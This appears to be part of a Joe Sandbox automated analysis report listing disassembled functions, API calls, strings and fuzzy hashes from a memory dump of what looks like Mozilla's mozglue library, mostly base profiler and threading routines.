AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CEDEB3C
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEB5B

Part of subcall function 6CED5710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEDEB71), ref: 6CED57AB

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDEBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CEDEBAC

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

GetCurrentThreadId.KERNEL32 ref: 6CEDEBC1
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8,?,?,00000000), ref: 6CEDEBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CEDEBE5
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8,00000000), ref: 6CEDEC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CEDEC46
CloseHandle.KERNEL32(?), ref: 6CEDEC55
free.MOZGLUE(00000000), ref: 6CEDEC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CEDEA9B
[I %d/%d] profiler_start, xrefs: 6CEDEBB4

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: b81e7af2478eab2849e35c08a78c40c450c6e0bd1d35abf36e8bced2ec3497c6
Instruction ID: 0c31147d8f21b12fa01ed72e4acc49735191bc1f7ea9e0aabb24002d9e9af13c
Opcode Fuzzy Hash: b81e7af2478eab2849e35c08a78c40c450c6e0bd1d35abf36e8bced2ec3497c6
Instruction Fuzzy Hash: 8AA15A71B00A05CFDB409F59C849BAAB7B5FF96318F23442DE91987F41DB71A806CBA1

Function 6CEDF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CEDF8F9

Part of subcall function 6CEA6390: GetCurrentThreadId.KERNEL32 ref: 6CEA63D0
Part of subcall function 6CEA6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CEA63DF
Part of subcall function 6CEA6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CEA640E

ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF93A
GetCurrentThreadId.KERNEL32 ref: 6CEDF98A
GetCurrentThreadId.KERNEL32 ref: 6CEDF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF716

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

Part of subcall function 6CE9B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CE9B5E0

GetCurrentThreadId.KERNEL32 ref: 6CEDF739
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDF746
GetCurrentThreadId.KERNEL32 ref: 6CEDF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF1385B,00000002,?,?,?,?,?), ref: 6CEDF829
free.MOZGLUE(?,?,00000000,?), ref: 6CEDF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CEDF866
free.MOZGLUE(?), ref: 6CEDFA0C

Part of subcall function 6CEA5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEA55E1), ref: 6CEA5E8C
Part of subcall function 6CEA5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA5E9D
Part of subcall function 6CEA5E60: GetCurrentThreadId.KERNEL32 ref: 6CEA5EAB
Part of subcall function 6CEA5E60: GetCurrentThreadId.KERNEL32 ref: 6CEA5EB8
Part of subcall function 6CEA5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA5ECF
Part of subcall function 6CEA5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CEA5F27
Part of subcall function 6CEA5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CEA5F47
Part of subcall function 6CEA5E60: GetCurrentProcess.KERNEL32 ref: 6CEA5F53
Part of subcall function 6CEA5E60: GetCurrentThread.KERNEL32 ref: 6CEA5F5C
Part of subcall function 6CEA5E60: GetCurrentProcess.KERNEL32 ref: 6CEA5F66
Part of subcall function 6CEA5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CEA5F7E

free.MOZGLUE(?), ref: 6CEDF9C5
free.MOZGLUE(?), ref: 6CEDF9DA

Strings

Thread , xrefs: 6CEDF789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CEDF9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CEDF71F
" attempted to re-register as ", xrefs: 6CEDF858

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f783d690bf0d5647b6656b5c942f4c3b1e995d64ce3c38876db807aa48c07a8d
Instruction ID: 2478cbabd8d1493046eba0292e14cafcd66283f44e05f737e735cd50c05461e4
Opcode Fuzzy Hash: f783d690bf0d5647b6656b5c942f4c3b1e995d64ce3c38876db807aa48c07a8d
Instruction Fuzzy Hash: 63813571A143009FDB10DF64C840BAEB7B5FF85308F66452DE8499BB51EB35E84ACB92

Function 6CEDEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDEE60
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEE6D
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CEDEEA5
CloseHandle.KERNEL32(?), ref: 6CEDEEB4
free.MOZGLUE(00000000), ref: 6CEDEEBB
GetCurrentThreadId.KERNEL32 ref: 6CEDEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDEECF

Part of subcall function 6CEDDE60: GetCurrentThreadId.KERNEL32 ref: 6CEDDE73
Part of subcall function 6CEDDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CEA4A68), ref: 6CEDDE7B
Part of subcall function 6CEDDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CEA4A68), ref: 6CEDDEB8
Part of subcall function 6CEDDE60: free.MOZGLUE(00000000,?,6CEA4A68), ref: 6CEDDEFE
Part of subcall function 6CEDDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CEDDF38

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

GetCurrentThreadId.KERNEL32 ref: 6CEDEF1E
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEF2B
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEF59
GetCurrentThreadId.KERNEL32 ref: 6CEDEFB0
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEFBD
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDEFE1
GetCurrentThreadId.KERNEL32 ref: 6CEDEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDF000

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CEDF02F

Part of subcall function 6CEDF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEDF09B
Part of subcall function 6CEDF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CEDF0AC
Part of subcall function 6CEDF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CEDF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CEDF008
[I %d/%d] profiler_stop, xrefs: 6CEDEED7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: db0b30bdb8fe8aa8877fceb2edfb8f52c9249aff8f9275395dd14a28f2dc75ca
Instruction ID: 34ee27acc50278c8a86249269876af913b290c6f777a9cd30cd92a9b405cf03d
Opcode Fuzzy Hash: db0b30bdb8fe8aa8877fceb2edfb8f52c9249aff8f9275395dd14a28f2dc75ca
Instruction Fuzzy Hash: 20513771E24611DFEB809B6AD80F79577B4EB4632CF230919ED1983F41CB756806C7A2

Function 6CEA7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CEA8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CEA801D

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CEA802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CEA803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CEA808D

Part of subcall function 6CEACA10: mozalloc_abort.MOZGLUE(?), ref: 6CEACAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CEA809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEA80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CEA80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CEA8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CEA8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CEA8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CEA817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA8199

Strings

0>l, xrefs: 6CEA811E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>l
API String ID: 2721933968-4275615020
Opcode ID: ed18e2aacb3eb2267286753e26cb165e1ef9ace6f0162ec094f7dd8c0e118889
Instruction ID: 34a56dfd5bf2ef9eb1f84646471c13add9fc8f70d68577678b4abae96f235a7c
Opcode Fuzzy Hash: ed18e2aacb3eb2267286753e26cb165e1ef9ace6f0162ec094f7dd8c0e118889
Instruction Fuzzy Hash: 7851A6B2E002449FDB10DBE5DC84AEFB7B9EF59224F240125E815FB741E730A905CBA1

Function 6CEA5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA5E9D

Part of subcall function 6CEB5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5B85
Part of subcall function 6CEB5B50: EnterCriticalSection.KERNEL32(6CF1F688,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5B90
Part of subcall function 6CEB5B50: LeaveCriticalSection.KERNEL32(6CF1F688,?,?,?,6CEB56EE,?,00000001), ref: 6CEB5BD8
Part of subcall function 6CEB5B50: GetTickCount64.KERNEL32 ref: 6CEB5BE4

GetCurrentThreadId.KERNEL32 ref: 6CEA5EAB
GetCurrentThreadId.KERNEL32 ref: 6CEA5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CEA6017

Part of subcall function 6CE94310: moz_xmalloc.MOZGLUE(00000010,?,6CE942D2), ref: 6CE9436A
Part of subcall function 6CE94310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CE942D2), ref: 6CE94387

moz_xmalloc.MOZGLUE(00000004), ref: 6CEA5F47
GetCurrentProcess.KERNEL32 ref: 6CEA5F53
GetCurrentThread.KERNEL32 ref: 6CEA5F5C
GetCurrentProcess.KERNEL32 ref: 6CEA5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CEA5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CEA5F27

Part of subcall function 6CEACA10: mozalloc_abort.MOZGLUE(?), ref: 6CEACAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEA55E1), ref: 6CEA5E8C

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEA55E1), ref: 6CEA605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CEA55E1), ref: 6CEA60CC

Strings

GeckoMain, xrefs: 6CEA5ECE, 6CEA6015

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: d8b55ad633cdbe9d7e723032fc67f59f7299c602db26fe3756410fce2e616bbf
Instruction ID: e121ea83d3ba4086939b0e0de5e008d93690dc1097b02e843157641e9820e907
Opcode Fuzzy Hash: d8b55ad633cdbe9d7e723032fc67f59f7299c602db26fe3756410fce2e616bbf
Instruction Fuzzy Hash: 3371D2B0A05740DFD750DF69C481A6ABBF0FF5A308F24496DE4868BB52D731E849CB52

Function 6CEA9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE931C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CE93217
Part of subcall function 6CE931C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CE93236
Part of subcall function 6CE931C0: FreeLibrary.KERNEL32 ref: 6CE9324B
Part of subcall function 6CE931C0: __Init_thread_footer.LIBCMT ref: 6CE93260
Part of subcall function 6CE931C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CE9327F
Part of subcall function 6CE931C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CE9328E
Part of subcall function 6CE931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CE932AB
Part of subcall function 6CE931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CE932D1
Part of subcall function 6CE931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CE932E5
Part of subcall function 6CE931C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CE932F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CEA9675
__Init_thread_footer.LIBCMT ref: 6CEA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CEA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CEA9707
__Init_thread_footer.LIBCMT ref: 6CEA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CEA9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CEA97B7
FreeLibrary.KERNEL32 ref: 6CEA97D0
FreeLibrary.KERNEL32 ref: 6CEA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CEA9824

Strings

NtMapViewOfSection, xrefs: 6CEA9701
ntdll.dll, xrefs: 6CEA96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CEA9670
MapViewOfFileNuma2, xrefs: 6CEA97B1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 65e9a7b06b8f1353e073bdad4dce376f95b6a85221e4581bcf97a9898f4317da
Instruction ID: 33772a71761fe207288108d63f792c4b221c010ce7f02cd245f633bdebca0ed7
Opcode Fuzzy Hash: 65e9a7b06b8f1353e073bdad4dce376f95b6a85221e4581bcf97a9898f4317da
Instruction Fuzzy Hash: F761C171F14301DFDF80CFA8D886B9A7BB1EB4A318F224529E91587F90D7329855CBA1

Function 6CEF6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CF1F618), ref: 6CEF6694
GetThreadId.KERNEL32(?), ref: 6CEF66B1
GetCurrentThreadId.KERNEL32 ref: 6CEF66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CEF66E1
EnterCriticalSection.KERNEL32(6CF1F618), ref: 6CEF6734
GetCurrentProcess.KERNEL32 ref: 6CEF673A
LeaveCriticalSection.KERNEL32(6CF1F618), ref: 6CEF676C
GetCurrentThread.KERNEL32 ref: 6CEF67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CEF6868
RtlCaptureContext.NTDLL ref: 6CEF687F

Strings

WalkStack64, xrefs: 6CEF6890

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 2bbac9f931cfc251eacd807ed4a085023b48d9ff0212f23257448073eb873cf2
Instruction ID: a35fceadd8d6548c496ac7096525b66d7bf6213f4c47dc5b9fce9b5d7c1d033d
Opcode Fuzzy Hash: 2bbac9f931cfc251eacd807ed4a085023b48d9ff0212f23257448073eb873cf2
Instruction Fuzzy Hash: 8651BC71A09341EFD751CF24C845B9ABBF8BF89718F11492DF9A887B40D770A905CB92

Function 6CEDDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDDE73
GetCurrentThreadId.KERNEL32 ref: 6CEDDF7D
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDDF8A
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDDFC9
GetCurrentThreadId.KERNEL32 ref: 6CEDDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CEA4A68), ref: 6CEDDE7B

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
